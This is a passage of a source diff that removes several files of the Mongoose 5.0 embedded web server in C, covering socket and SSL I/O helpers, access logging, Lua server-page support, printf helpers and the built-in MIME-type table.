static void to_unicode(const char *path, wchar_t *wbuf, size_t wbuf_len);
#if defined(HAVE_STDINT)
#include <stdint.h>
#else
typedef unsigned int uint32_t;
typedef unsigned short uint16_t;
typedef unsigned __int64 uint64_t;
typedef __int64 int64_t;
#define INT64_MAX 9223372036854775807
#endif // HAVE_STDINT
// POSIX dirent interface
struct dirent {
char d_name[PATH_MAX];
};
typedef struct DIR {
HANDLE handle;
WIN32_FIND_DATAW info;
struct dirent result;
} DIR;
struct pollfd {
SOCKET fd;
short events;
short revents;
};
#define POLLIN 1
#ifdef HAVE_POLL
#define poll(x, y, z) WSAPoll((x), (y), (z))
#endif
// Mark required libraries
#ifdef _MSC_VER
#pragma comment(lib, "Ws2_32.lib")
#endif
#else // UNIX specific
#include <sys/wait.h>
#include <sys/socket.h>
#include <sys/poll.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <stdint.h>
#include <inttypes.h>
#include <netdb.h>
#include <pwd.h>
#include <unistd.h>
#include <dirent.h>
#if !defined(NO_SSL_DL) && !defined(NO_SSL)
#include <dlfcn.h>
#endif
#include <pthread.h>
#if defined(__MACH__)
#define SSL_LIB "libssl.dylib"
#define CRYPTO_LIB "libcrypto.dylib"
#else
#if !defined(SSL_LIB)
#define SSL_LIB "libssl.so"
#endif
#if !defined(CRYPTO_LIB)
#define CRYPTO_LIB "libcrypto.so"
#endif
#endif
#ifndef O_BINARY
#define O_BINARY 0
#endif // O_BINARY
#define closesocket(a) close(a)
#define mg_mkdir(x, y) mkdir(x, y)
#define mg_remove(x) remove(x)
#define mg_sleep(x) usleep((x) * 1000)
#define ERRNO errno
#define INVALID_SOCKET (-1)
#define INT64_FMT PRId64
typedef int SOCKET;
#define WINCDECL
#endif // End of Windows and UNIX specific includes
#include "mongoose.h"
#define MONGOOSE_VERSION "5.0"
#define PASSWORDS_FILE_NAME ".htpasswd"
#define CGI_ENVIRONMENT_SIZE 4096
#define MAX_CGI_ENVIR_VARS 64
#define MG_BUF_LEN 8192
#define MAX_REQUEST_SIZE 16384
#define ARRAY_SIZE(array) (sizeof(array) / sizeof(array[0]))
typedef SOCKET sock_t;
#ifdef DEBUG_TRACE
#undef DEBUG_TRACE
#define DEBUG_TRACE(x)
#else
#if defined(DEBUG)
#define DEBUG_TRACE(x) do { \
flockfile(stdout); \
printf("*** %lu.%p.%s.%d: ", \
(unsigned long) time(NULL), (void *) pthread_self(), \
__func__, __LINE__); \
printf x; \
putchar('\n'); \
fflush(stdout); \
funlockfile(stdout); \
} while (0)
#else
#define DEBUG_TRACE(x)
#endif // DEBUG
#endif // DEBUG_TRACE
// Darwin prior to 7.0 and Win32 do not have socklen_t
#ifdef NO_SOCKLEN_T
typedef int socklen_t;
#endif // NO_SOCKLEN_T
#define _DARWIN_UNLIMITED_SELECT
#define IP_ADDR_STR_LEN 50 // IPv6 hex string is 46 chars
#if !defined(MSG_NOSIGNAL)
#define MSG_NOSIGNAL 0
#endif
#if !defined(SOMAXCONN)
#define SOMAXCONN 100
#endif
#if !defined(PATH_MAX)
#define PATH_MAX 4096
#endif
// Size of the accepted socket queue
#if !defined(MGSQLEN)
#define MGSQLEN 20
#endif
// Extra HTTP headers to send in every static file reply
#if !defined(EXTRA_HTTP_HEADERS)
#define EXTRA_HTTP_HEADERS ""
#endif
static const char *http_500_error = "Internal Server Error";
#if defined(NO_SSL_DL)
#include <openssl/ssl.h>
#include <openssl/err.h>
#else
// SSL loaded dynamically from DLL.
// I put the prototypes here to be independent from OpenSSL source installation.
typedef struct ssl_st SSL;
typedef struct ssl_method_st SSL_METHOD;
typedef struct ssl_ctx_st SSL_CTX;
struct ssl_func {
const char *name; // SSL function name
void (*ptr)(void); // Function pointer
};
#define SSL_free (* (void (*)(SSL *)) ssl_sw[0].ptr)
#define SSL_accept (* (int (*)(SSL *)) ssl_sw[1].ptr)
#define SSL_connect (* (int (*)(SSL *)) ssl_sw[2].ptr)
#define SSL_read (* (int (*)(SSL *, void *, int)) ssl_sw[3].ptr)
#define SSL_write (* (int (*)(SSL *, const void *,int)) ssl_sw[4].ptr)
#define SSL_get_error (* (int (*)(SSL *, int)) ssl_sw[5].ptr)
#define SSL_set_fd (* (int (*)(SSL *, SOCKET)) ssl_sw[6].ptr)
#define SSL_new (* (SSL * (*)(SSL_CTX *)) ssl_sw[7].ptr)
#define SSL_CTX_new (* (SSL_CTX * (*)(SSL_METHOD *)) ssl_sw[8].ptr)
#define SSLv23_server_method (* (SSL_METHOD * (*)(void)) ssl_sw[9].ptr)
#define SSL_library_init (* (int (*)(void)) ssl_sw[10].ptr)
#define SSL_CTX_use_PrivateKey_file (* (int (*)(SSL_CTX *, \
const char *, int)) ssl_sw[11].ptr)
#define SSL_CTX_use_certificate_file (* (int (*)(SSL_CTX *, \
const char *, int)) ssl_sw[12].ptr)
#define SSL_CTX_set_default_passwd_cb \
(* (void (*)(SSL_CTX *, mg_event_handler_t)) ssl_sw[13].ptr)
#define SSL_CTX_free (* (void (*)(SSL_CTX *)) ssl_sw[14].ptr)
#define SSL_load_error_strings (* (void (*)(void)) ssl_sw[15].ptr)
#define SSL_CTX_use_certificate_chain_file \
(* (int (*)(SSL_CTX *, const char *)) ssl_sw[16].ptr)
#define SSLv23_client_method (* (SSL_METHOD * (*)(void)) ssl_sw[17].ptr)
#define SSL_pending (* (int (*)(SSL *)) ssl_sw[18].ptr)
#define SSL_CTX_set_verify (* (void (*)(SSL_CTX *, int, int)) ssl_sw[19].ptr)
#define SSL_shutdown (* (int (*)(SSL *)) ssl_sw[20].ptr)
#define CRYPTO_num_locks (* (int (*)(void)) crypto_sw[0].ptr)
#define CRYPTO_set_locking_callback \
(* (void (*)(void (*)(int, int, const char *, int))) crypto_sw[1].ptr)
#define CRYPTO_set_id_callback \
(* (void (*)(unsigned long (*)(void))) crypto_sw[2].ptr)
#define ERR_get_error (* (unsigned long (*)(void)) crypto_sw[3].ptr)
#define ERR_error_string (* (char * (*)(unsigned long,char *)) crypto_sw[4].ptr)
#endif // NO_SSL_DL
// Unified socket address. For IPv6 support, add IPv6 address structure
// in the union u.
union usa {
struct sockaddr sa;
struct sockaddr_in sin;
#if defined(USE_IPV6)
struct sockaddr_in6 sin6;
#endif
};
// Describes a string (chunk of memory).
struct vec {
const char *ptr;
size_t len;
};
struct file {
int is_directory;
time_t modification_time;
int64_t size;
// set to 1 if the content is gzipped
// in which case we need a content-encoding: gzip header
int gzipped;
};
#define STRUCT_FILE_INITIALIZER { 0, 0, 0, 0 }
// Describes listening socket, or socket which was accept()-ed by the master
// thread and queued for future handling by the worker thread.
struct socket {
SOCKET sock; // Listening socket
union usa lsa; // Local socket address
union usa rsa; // Remote socket address
unsigned is_ssl:1; // Is port SSL-ed
unsigned ssl_redir:1; // Is port supposed to redirect everything to SSL port
};
// NOTE(lsm): this enum shoulds be in sync with the config_options.
enum {
CGI_EXTENSIONS, CGI_ENVIRONMENT, PUT_DELETE_PASSWORDS_FILE, CGI_INTERPRETER,
PROTECT_URI, AUTHENTICATION_DOMAIN, SSI_EXTENSIONS,
ACCESS_LOG_FILE, ENABLE_DIRECTORY_LISTING, ERROR_LOG_FILE,
GLOBAL_PASSWORDS_FILE, INDEX_FILES, ENABLE_KEEP_ALIVE, ACCESS_CONTROL_LIST,
EXTRA_MIME_TYPES, LISTENING_PORTS, DOCUMENT_ROOT, SSL_CERTIFICATE,
NUM_THREADS, RUN_AS_USER, REWRITE, HIDE_FILES, REQUEST_TIMEOUT,
NUM_OPTIONS
};
struct mg_context {
volatile int stop_flag; // Should we stop event loop
SSL_CTX *ssl_ctx; // SSL context
char *config[NUM_OPTIONS]; // Mongoose configuration parameters
mg_event_handler_t event_handler; // User-defined callback function
void *user_data; // User-defined data
struct socket *listening_sockets;
int num_listening_sockets;
int num_threads; // Number of threads
sock_t ctl[2]; // Socket pair for inter-thread communication
};
struct mg_connection {
struct mg_request_info request_info;
struct mg_event event;
struct mg_context *ctx;
SSL *ssl; // SSL descriptor
SSL_CTX *client_ssl_ctx; // SSL context for client connections
struct socket client; // Connected client
time_t birth_time; // Time when request was received
int64_t num_bytes_sent; // Total bytes sent to client
int64_t content_len; // Content-Length header value
int64_t num_bytes_read; // Bytes read from a remote socket
char *buf; // Buffer for received data
char *path_info; // PATH_INFO part of the URL
int must_close; // 1 if connection must be closed
int buf_size; // Buffer size
int request_len; // Size of the request + headers in a buffer
int data_len; // Total size of data in a buffer
int status_code; // HTTP reply status code, e.g. 200
};
// Directory entry
struct de {
struct mg_connection *conn;
char *file_name;
struct file file;
};
static FILE *mg_fopen(const char *path, const char *mode);
static int mg_stat(const char *path, struct file *filep);
static void send_http_error(struct mg_connection *, int, const char *,
PRINTF_FORMAT_STRING(const char *fmt), ...)
PRINTF_ARGS(4, 5);
static void cry(struct mg_connection *conn,
PRINTF_FORMAT_STRING(const char *fmt), ...) PRINTF_ARGS(2, 3);
static const char *getreq(struct mg_connection *conn);
#ifdef USE_LUA
#include "lua_5.2.1.h"
static int handle_lsp_request(struct mg_connection *, const char *,
struct file *, struct lua_State *);
#endif
-187
View File
@@ -1,187 +0,0 @@
#include "internal.h"
// Return number of bytes left to read for this connection
static int64_t left_to_read(const struct mg_connection *conn) {
return conn->content_len + conn->request_len - conn->num_bytes_read;
}
// Write data to the IO channel - opened file descriptor, socket or SSL
// descriptor. Return number of bytes written.
static int64_t push(FILE *fp, SOCKET sock, SSL *ssl, const char *buf,
int64_t len) {
int64_t sent;
int n, k;
(void) ssl; // Get rid of warning
sent = 0;
while (sent < len) {
// How many bytes we send in this iteration
k = len - sent > INT_MAX ? INT_MAX : (int) (len - sent);
#if !defined(NO_SSL)
if (ssl != NULL) {
n = SSL_write(ssl, buf + sent, k);
} else
#endif
if (fp != NULL) {
n = (int) fwrite(buf + sent, 1, (size_t) k, fp);
if (ferror(fp))
n = -1;
} else {
n = send(sock, buf + sent, (size_t) k, MSG_NOSIGNAL);
}
if (n <= 0)
break;
sent += n;
}
return sent;
}
// Read from IO channel - opened file descriptor, socket, or SSL descriptor.
// Return negative value on error, or number of bytes read on success.
static int pull(FILE *fp, struct mg_connection *conn, char *buf, int len) {
int nread;
if (len <= 0) return 0;
if (fp != NULL) {
// Use read() instead of fread(), because if we're reading from the CGI
// pipe, fread() may block until IO buffer is filled up. We cannot afford
// to block and must pass all read bytes immediately to the client.
nread = read(fileno(fp), buf, (size_t) len);
#ifndef NO_SSL
} else if (conn->ssl != NULL) {
nread = SSL_read(conn->ssl, buf, len);
#endif
} else {
nread = recv(conn->client.sock, buf, (size_t) len, 0);
}
if (nread > 0) {
conn->num_bytes_read += nread;
}
return conn->ctx->stop_flag ? -1 : nread;
}
static int pull_all(FILE *fp, struct mg_connection *conn, char *buf, int len) {
int n, nread = 0;
while (len > 0 && conn->ctx->stop_flag == 0) {
n = pull(fp, conn, buf + nread, len);
if (n < 0) {
nread = n; // Propagate the error
break;
} else if (n == 0) {
break; // No more data to read
} else {
nread += n;
len -= n;
}
}
return nread;
}
int mg_read(struct mg_connection *conn, void *buf, int len) {
int n, buffered_len, nread = 0;
int64_t left;
if (conn->content_len <= 0) {
return 0;
}
// conn->buf body
// |=================|==========|===============|
// |<--request_len-->| |
// |<-----------data_len------->| conn->buf + conn->buf_size
// First, check for data buffered in conn->buf by read_request().
if (len > 0 && (buffered_len = conn->data_len - conn->request_len) > 0) {
char *body = conn->buf + conn->request_len;
if (buffered_len > len) buffered_len = len;
if (buffered_len > conn->content_len) buffered_len = (int)conn->content_len;
memcpy(buf, body, (size_t) buffered_len);
memmove(body, body + buffered_len,
&conn->buf[conn->data_len] - &body[buffered_len]);
len -= buffered_len;
conn->data_len -= buffered_len;
nread += buffered_len;
}
// Read data from the socket.
if (len > 0 && (left = left_to_read(conn)) > 0) {
if (left < len) {
len = (int) left;
}
n = pull_all(NULL, conn, (char *) buf + nread, (int) len);
nread = n >= 0 ? nread + n : n;
}
return nread;
}
int mg_write(struct mg_connection *conn, const void *buf, int len) {
return (int) push(NULL, conn->client.sock, conn->ssl, (const char *) buf,
(int64_t) len);
}
// Keep reading the input (either opened file descriptor fd, or socket sock,
// or SSL descriptor ssl) into buffer buf, until \r\n\r\n appears in the
// buffer (which marks the end of HTTP request). Buffer buf may already
// have some data. The length of the data is stored in nread.
// Upon every read operation, increase nread by the number of bytes read.
static int read_request(FILE *fp, struct mg_connection *conn,
char *buf, int bufsiz, int *nread) {
int request_len, n = 0;
request_len = get_request_len(buf, *nread);
while (conn->ctx->stop_flag == 0 &&
*nread < bufsiz &&
request_len == 0 &&
(n = pull(fp, conn, buf + *nread, bufsiz - *nread)) > 0) {
*nread += n;
assert(*nread <= bufsiz);
request_len = get_request_len(buf, *nread);
}
return request_len <= 0 && n <= 0 ? -1 : request_len;
}
// Send len bytes from the opened file to the client.
static void send_file_data(struct mg_connection *conn, FILE *fp,
int64_t offset, int64_t len) {
char buf[MG_BUF_LEN];
int num_read, num_written, to_read;
// If offset is beyond file boundaries, don't send anything
if (offset > 0 && fseeko(fp, offset, SEEK_SET) != 0) {
return;
}
while (len > 0) {
// Calculate how much to read from the file in the buffer
to_read = sizeof(buf);
if ((int64_t) to_read > len) {
to_read = (int) len;
}
// Read from file, exit the loop on error
if ((num_read = fread(buf, 1, (size_t) to_read, fp)) <= 0) {
break;
}
// Send read bytes to the client, exit the loop on error
if ((num_written = mg_write(conn, buf, (size_t) num_read)) != num_read) {
break;
}
// Both read and were successful, adjust counters
conn->num_bytes_sent += num_written;
len -= num_written;
}
}
-44
View File
@@ -1,44 +0,0 @@
#include "internal.h"
static void log_header(const struct mg_connection *conn, const char *header,
FILE *fp) {
const char *header_value;
if ((header_value = mg_get_header(conn, header)) == NULL) {
(void) fprintf(fp, "%s", " -");
} else {
(void) fprintf(fp, " \"%s\"", header_value);
}
}
static void log_access(const struct mg_connection *conn) {
const struct mg_request_info *ri;
FILE *fp;
char date[64], src_addr[IP_ADDR_STR_LEN];
fp = conn->ctx->config[ACCESS_LOG_FILE] == NULL ? NULL :
fopen(conn->ctx->config[ACCESS_LOG_FILE], "a+");
if (fp == NULL)
return;
strftime(date, sizeof(date), "%d/%b/%Y:%H:%M:%S %z",
localtime(&conn->birth_time));
ri = &conn->request_info;
flockfile(fp);
sockaddr_to_string(src_addr, sizeof(src_addr), &conn->client.rsa);
fprintf(fp, "%s - %s [%s] \"%s %s HTTP/%s\" %d %" INT64_FMT,
src_addr, ri->remote_user == NULL ? "-" : ri->remote_user, date,
ri->request_method ? ri->request_method : "-",
ri->uri ? ri->uri : "-", ri->http_version,
conn->status_code, conn->num_bytes_sent);
log_header(conn, "Referer", fp);
log_header(conn, "User-Agent", fp);
fputc('\n', fp);
fflush(fp);
funlockfile(fp);
fclose(fp);
}
-390
View File
@@ -1,390 +0,0 @@
#include "internal.h"
#ifdef USE_LUA
#ifdef _WIN32
static void *mmap(void *addr, int64_t len, int prot, int flags, int fd,
int offset) {
HANDLE fh = (HANDLE) _get_osfhandle(fd);
HANDLE mh = CreateFileMapping(fh, 0, PAGE_READONLY, 0, 0, 0);
void *p = MapViewOfFile(mh, FILE_MAP_READ, 0, 0, (size_t) len);
CloseHandle(mh);
return p;
}
#define munmap(x, y) UnmapViewOfFile(x)
#define MAP_FAILED NULL
#define MAP_PRIVATE 0
#define PROT_READ 0
#else
#include <sys/mman.h>
#endif
static const char *LUASOCKET = "luasocket";
// Forward declarations
static int handle_lsp_request(struct mg_connection *, const char *,
struct file *, struct lua_State *);
static void reg_string(struct lua_State *L, const char *name, const char *val) {
lua_pushstring(L, name);
lua_pushstring(L, val);
lua_rawset(L, -3);
}
static void reg_int(struct lua_State *L, const char *name, int val) {
lua_pushstring(L, name);
lua_pushinteger(L, val);
lua_rawset(L, -3);
}
static void reg_function(struct lua_State *L, const char *name,
lua_CFunction func, struct mg_connection *conn) {
lua_pushstring(L, name);
lua_pushlightuserdata(L, conn);
lua_pushcclosure(L, func, 1);
lua_rawset(L, -3);
}
static int lsp_sock_close(lua_State *L) {
if (lua_gettop(L) > 0 && lua_istable(L, -1)) {
lua_getfield(L, -1, "sock");
closesocket((SOCKET) lua_tonumber(L, -1));
} else {
return luaL_error(L, "invalid :close() call");
}
return 1;
}
static int lsp_sock_recv(lua_State *L) {
char buf[2000];
int n;
if (lua_gettop(L) > 0 && lua_istable(L, -1)) {
lua_getfield(L, -1, "sock");
n = recv((SOCKET) lua_tonumber(L, -1), buf, sizeof(buf), 0);
if (n <= 0) {
lua_pushnil(L);
} else {
lua_pushlstring(L, buf, n);
}
} else {
return luaL_error(L, "invalid :close() call");
}
return 1;
}
static int lsp_sock_send(lua_State *L) {
const char *buf;
size_t len, sent = 0;
int n, sock;
if (lua_gettop(L) > 1 && lua_istable(L, -2) && lua_isstring(L, -1)) {
buf = lua_tolstring(L, -1, &len);
lua_getfield(L, -2, "sock");
sock = (int) lua_tonumber(L, -1);
while (sent < len) {
if ((n = send(sock, buf + sent, len - sent, 0)) <= 0) {
break;
}
sent += n;
}
lua_pushnumber(L, n);
} else {
return luaL_error(L, "invalid :close() call");
}
return 1;
}
static const struct luaL_Reg luasocket_methods[] = {
{"close", lsp_sock_close},
{"send", lsp_sock_send},
{"recv", lsp_sock_recv},
{NULL, NULL}
};
static int lsp_connect(lua_State *L) {
char ebuf[100];
SOCKET sock;
if (lua_isstring(L, -3) && lua_isnumber(L, -2) && lua_isnumber(L, -1)) {
sock = conn2(lua_tostring(L, -3), (int) lua_tonumber(L, -2),
(int) lua_tonumber(L, -1), ebuf, sizeof(ebuf));
if (sock == INVALID_SOCKET) {
return luaL_error(L, ebuf);
} else {
lua_newtable(L);
reg_int(L, "sock", sock);
reg_string(L, "host", lua_tostring(L, -4));
luaL_getmetatable(L, LUASOCKET);
lua_setmetatable(L, -2);
}
} else {
return luaL_error(L, "connect(host,port,is_ssl): invalid parameter given.");
}
return 1;
}
static int lsp_error(lua_State *L) {
lua_getglobal(L, "mg");
lua_getfield(L, -1, "onerror");
lua_pushvalue(L, -3);
lua_pcall(L, 1, 0, 0);
return 0;
}
// Silently stop processing chunks.
static void lsp_abort(lua_State *L) {
int top = lua_gettop(L);
lua_getglobal(L, "mg");
lua_pushnil(L);
lua_setfield(L, -2, "onerror");
lua_settop(L, top);
lua_pushstring(L, "aborting");
lua_error(L);
}
static int lsp(struct mg_connection *conn, const char *path,
const char *p, int64_t len, lua_State *L) {
int i, j, pos = 0, lines = 1, lualines = 0;
char chunkname[MG_BUF_LEN];
for (i = 0; i < len; i++) {
if (p[i] == '\n') lines++;
if (p[i] == '<' && p[i + 1] == '?') {
for (j = i + 1; j < len ; j++) {
if (p[j] == '\n') lualines++;
if (p[j] == '?' && p[j + 1] == '>') {
mg_write(conn, p + pos, i - pos);
snprintf(chunkname, sizeof(chunkname), "@%s+%i", path, lines);
lua_pushlightuserdata(L, conn);
lua_pushcclosure(L, lsp_error, 1);
if (luaL_loadbuffer(L, p + (i + 2), j - (i + 2), chunkname)) {
// Syntax error or OOM. Error message is pushed on stack.
lua_pcall(L, 1, 0, 0);
} else {
// Success loading chunk. Call it.
lua_pcall(L, 0, 0, 1);
}
pos = j + 2;
i = pos - 1;
break;
}
}
if (lualines > 0) {
lines += lualines;
lualines = 0;
}
}
}
if (i > pos) {
mg_write(conn, p + pos, i - pos);
}
return 0;
}
static int lsp_write(lua_State *L) {
int i, num_args;
const char *str;
size_t size;
struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
num_args = lua_gettop(L);
for (i = 1; i <= num_args; i++) {
if (lua_isstring(L, i)) {
str = lua_tolstring(L, i, &size);
mg_write(conn, str, size);
}
}
return 0;
}
static int lsp_read(lua_State *L) {
struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
char buf[1024];
int len = mg_read(conn, buf, sizeof(buf));
if (len <= 0) return 0;
lua_pushlstring(L, buf, len);
return 1;
}
// mg.include: Include another .lp file
static int lsp_include(lua_State *L) {
struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
struct file file = STRUCT_FILE_INITIALIZER;
if (handle_lsp_request(conn, lua_tostring(L, -1), &file, L)) {
// handle_lsp_request returned an error code, meaning an error occured in
// the included page and mg.onerror returned non-zero. Stop processing.
lsp_abort(L);
}
return 0;
}
// mg.cry: Log an error. Default value for mg.onerror.
static int lsp_cry(lua_State *L){
struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
cry(conn, "%s", lua_tostring(L, -1));
return 0;
}
// mg.redirect: Redirect the request (internally).
static int lsp_redirect(lua_State *L) {
struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
conn->request_info.uri = lua_tostring(L, -1);
handle_request(conn);
lsp_abort(L);
return 0;
}
static void prepare_lua_environment(struct mg_connection *conn, lua_State *L) {
const struct mg_request_info *ri = &conn->request_info;
extern void luaL_openlibs(lua_State *);
int i;
luaL_openlibs(L);
#ifdef USE_LUA_SQLITE3
{ extern int luaopen_lsqlite3(lua_State *); luaopen_lsqlite3(L); }
#endif
luaL_newmetatable(L, LUASOCKET);
lua_pushliteral(L, "__index");
luaL_newlib(L, luasocket_methods);
lua_rawset(L, -3);
lua_pop(L, 1);
lua_register(L, "connect", lsp_connect);
if (conn == NULL) return;
// Register mg module
lua_newtable(L);
reg_function(L, "read", lsp_read, conn);
reg_function(L, "write", lsp_write, conn);
reg_function(L, "cry", lsp_cry, conn);
reg_function(L, "include", lsp_include, conn);
reg_function(L, "redirect", lsp_redirect, conn);
reg_string(L, "version", MONGOOSE_VERSION);
// Export request_info
lua_pushstring(L, "request_info");
lua_newtable(L);
reg_string(L, "request_method", ri->request_method);
reg_string(L, "uri", ri->uri);
reg_string(L, "http_version", ri->http_version);
reg_string(L, "query_string", ri->query_string);
reg_int(L, "remote_ip", ri->remote_ip);
reg_int(L, "remote_port", ri->remote_port);
reg_int(L, "num_headers", ri->num_headers);
lua_pushstring(L, "http_headers");
lua_newtable(L);
for (i = 0; i < ri->num_headers; i++) {
reg_string(L, ri->http_headers[i].name, ri->http_headers[i].value);
}
lua_rawset(L, -3);
lua_rawset(L, -3);
lua_setglobal(L, "mg");
// Register default mg.onerror function
luaL_dostring(L, "mg.onerror = function(e) mg.write('\\nLua error:\\n', "
"debug.traceback(e, 1)) end");
}
static int lua_error_handler(lua_State *L) {
const char *error_msg = lua_isstring(L, -1) ? lua_tostring(L, -1) : "?\n";
lua_getglobal(L, "mg");
if (!lua_isnil(L, -1)) {
lua_getfield(L, -1, "write"); // call mg.write()
lua_pushstring(L, error_msg);
lua_pushliteral(L, "\n");
lua_call(L, 2, 0);
luaL_dostring(L, "mg.write(debug.traceback(), '\\n')");
} else {
printf("Lua error: [%s]\n", error_msg);
luaL_dostring(L, "print(debug.traceback(), '\\n')");
}
// TODO(lsm): leave the stack balanced
return 0;
}
void mg_exec_lua_script(struct mg_connection *conn, const char *path,
const void **exports) {
int i;
lua_State *L;
if (path != NULL && (L = luaL_newstate()) != NULL) {
prepare_lua_environment(conn, L);
lua_pushcclosure(L, &lua_error_handler, 0);
lua_pushglobaltable(L);
if (exports != NULL) {
for (i = 0; exports[i] != NULL && exports[i + 1] != NULL; i += 2) {
lua_pushstring(L, exports[i]);
lua_pushcclosure(L, (lua_CFunction) exports[i + 1], 0);
lua_rawset(L, -3);
}
}
if (luaL_loadfile(L, path) != 0) {
lua_error_handler(L);
}
lua_pcall(L, 0, 0, -2);
lua_close(L);
}
}
static void lsp_send_err(struct mg_connection *conn, struct lua_State *L,
const char *fmt, ...) {
char buf[MG_BUF_LEN];
va_list ap;
va_start(ap, fmt);
vsnprintf(buf, sizeof(buf), fmt, ap);
va_end(ap);
if (L == NULL) {
send_http_error(conn, 500, http_500_error, "%s", buf);
} else {
lua_pushstring(L, buf);
lua_error(L);
}
}
static int handle_lsp_request(struct mg_connection *conn, const char *path,
struct file *filep, struct lua_State *ls) {
void *p = NULL;
lua_State *L = NULL;
FILE *fp = NULL;
int error = 1;
// We need both mg_stat to get file size, and mg_fopen to get fd
if (!mg_stat(path, filep) || (fp = mg_fopen(path, "r")) == NULL) {
lsp_send_err(conn, ls, "File [%s] not found", path);
} else if ((p = mmap(NULL, (size_t) filep->size, PROT_READ, MAP_PRIVATE,
fileno(fp), 0)) == MAP_FAILED) {
lsp_send_err(conn, ls, "mmap(%s, %zu, %d): %s", path, (size_t) filep->size,
fileno(fp), strerror(errno));
} else if ((L = ls != NULL ? ls : luaL_newstate()) == NULL) {
send_http_error(conn, 500, http_500_error, "%s", "luaL_newstate failed");
} else {
// We're not sending HTTP headers here, Lua page must do it.
if (ls == NULL) {
prepare_lua_environment(conn, L);
}
error = lsp(conn, path, p, filep->size, L);
}
if (L != NULL && ls == NULL) lua_close(L);
if (p != NULL) munmap(p, filep->size);
fclose(fp);
return error;
}
#endif // USE_LUA
-67
View File
@@ -1,67 +0,0 @@
#include "internal.h"
// Print message to buffer. If buffer is large enough to hold the message,
// return buffer. If buffer is to small, allocate large enough buffer on heap,
// and return allocated buffer.
static int alloc_vprintf(char **buf, size_t size, const char *fmt, va_list ap) {
va_list ap_copy;
int len;
// Windows is not standard-compliant, and vsnprintf() returns -1 if
// buffer is too small. Also, older versions of msvcrt.dll do not have
// _vscprintf(). However, if size is 0, vsnprintf() behaves correctly.
// Therefore, we make two passes: on first pass, get required message length.
// On second pass, actually print the message.
va_copy(ap_copy, ap);
len = vsnprintf(NULL, 0, fmt, ap_copy);
if (len > (int) size &&
(size = len + 1) > 0 &&
(*buf = (char *) malloc(size)) == NULL) {
len = -1; // Allocation failed, mark failure
} else {
va_copy(ap_copy, ap);
vsnprintf(*buf, size, fmt, ap_copy);
}
return len;
}
int mg_vprintf(struct mg_connection *conn, const char *fmt, va_list ap) {
char mem[MG_BUF_LEN], *buf = mem;
int len;
if ((len = alloc_vprintf(&buf, sizeof(mem), fmt, ap)) > 0) {
len = mg_write(conn, buf, (size_t) len);
}
if (buf != mem && buf != NULL) {
free(buf);
}
return len;
}
int mg_printf(struct mg_connection *conn, const char *fmt, ...) {
va_list ap;
va_start(ap, fmt);
return mg_vprintf(conn, fmt, ap);
}
static int mg_chunked_printf(struct mg_connection *conn, const char *fmt, ...) {
char mem[MG_BUF_LEN], *buf = mem;
int len;
va_list ap;
va_start(ap, fmt);
if ((len = alloc_vprintf(&buf, sizeof(mem), fmt, ap)) > 0) {
len = mg_printf(conn, "%X\r\n%s\r\n", len, buf);
}
if (buf != mem && buf != NULL) {
free(buf);
}
return len;
}
-99
View File
@@ -1,99 +0,0 @@
#include "internal.h"
static const struct {
const char *extension;
size_t ext_len;
const char *mime_type;
} builtin_mime_types[] = {
{".html", 5, "text/html"},
{".htm", 4, "text/html"},
{".shtm", 5, "text/html"},
{".shtml", 6, "text/html"},
{".css", 4, "text/css"},
{".js", 3, "application/x-javascript"},
{".ico", 4, "image/x-icon"},
{".gif", 4, "image/gif"},
{".jpg", 4, "image/jpeg"},
{".jpeg", 5, "image/jpeg"},
{".png", 4, "image/png"},
{".svg", 4, "image/svg+xml"},
{".txt", 4, "text/plain"},
{".torrent", 8, "application/x-bittorrent"},
{".wav", 4, "audio/x-wav"},
{".mp3", 4, "audio/x-mp3"},
{".mid", 4, "audio/mid"},
{".m3u", 4, "audio/x-mpegurl"},
{".ogg", 4, "application/ogg"},
{".ram", 4, "audio/x-pn-realaudio"},
{".xml", 4, "text/xml"},
{".json", 5, "text/json"},
{".xslt", 5, "application/xml"},
{".xsl", 4, "application/xml"},
{".ra", 3, "audio/x-pn-realaudio"},
{".doc", 4, "application/msword"},
{".exe", 4, "application/octet-stream"},
{".zip", 4, "application/x-zip-compressed"},
{".xls", 4, "application/excel"},
{".tgz", 4, "application/x-tar-gz"},
{".tar", 4, "application/x-tar"},
{".gz", 3, "application/x-gunzip"},
{".arj", 4, "application/x-arj-compressed"},
{".rar", 4, "application/x-arj-compressed"},
{".rtf", 4, "application/rtf"},
{".pdf", 4, "application/pdf"},
{".swf", 4, "application/x-shockwave-flash"},
{".mpg", 4, "video/mpeg"},
{".webm", 5, "video/webm"},
{".mpeg", 5, "video/mpeg"},
{".mov", 4, "video/quicktime"},
{".mp4", 4, "video/mp4"},
{".m4v", 4, "video/x-m4v"},
{".asf", 4, "video/x-ms-asf"},
{".avi", 4, "video/x-msvideo"},
{".bmp", 4, "image/bmp"},
{".ttf", 4, "application/x-font-ttf"},
{NULL, 0, NULL}
};
const char *mg_get_builtin_mime_type(const char *path) {
const char *ext;
size_t i, path_len;
path_len = strlen(path);
for (i = 0; builtin_mime_types[i].extension != NULL; i++) {
ext = path + (path_len - builtin_mime_types[i].ext_len);
if (path_len > builtin_mime_types[i].ext_len &&
mg_strcasecmp(ext, builtin_mime_types[i].extension) == 0) {
return builtin_mime_types[i].mime_type;
}
}
return "text/plain";
}
// Look at the "path" extension and figure what mime type it has.
// Store mime type in the vector.
static void get_mime_type(struct mg_context *ctx, const char *path,
struct vec *vec) {
struct vec ext_vec, mime_vec;
const char *list, *ext;
size_t path_len;
path_len = strlen(path);
// Scan user-defined mime types first, in case user wants to
// override default mime types.
list = ctx->config[EXTRA_MIME_TYPES];
while ((list = next_option(list, &ext_vec, &mime_vec)) != NULL) {
// ext now points to the path suffix
ext = path + path_len - ext_vec.len;
if (mg_strncasecmp(ext, ext_vec.ptr, ext_vec.len) == 0) {
*vec = mime_vec;
return;
}
}
vec->ptr = mg_get_builtin_mime_type(path);
vec->len = strlen(vec->ptr);
}
-1420
View File
File diff suppressed because it is too large. Load diff
-56
View File
@@ -1,56 +0,0 @@
#include "internal.h"
// This array must be in sync with enum in internal.h
static const char *config_options[] = {
"cgi_pattern", "**.cgi$|**.pl$|**.php$",
"cgi_environment", NULL,
"put_delete_auth_file", NULL,
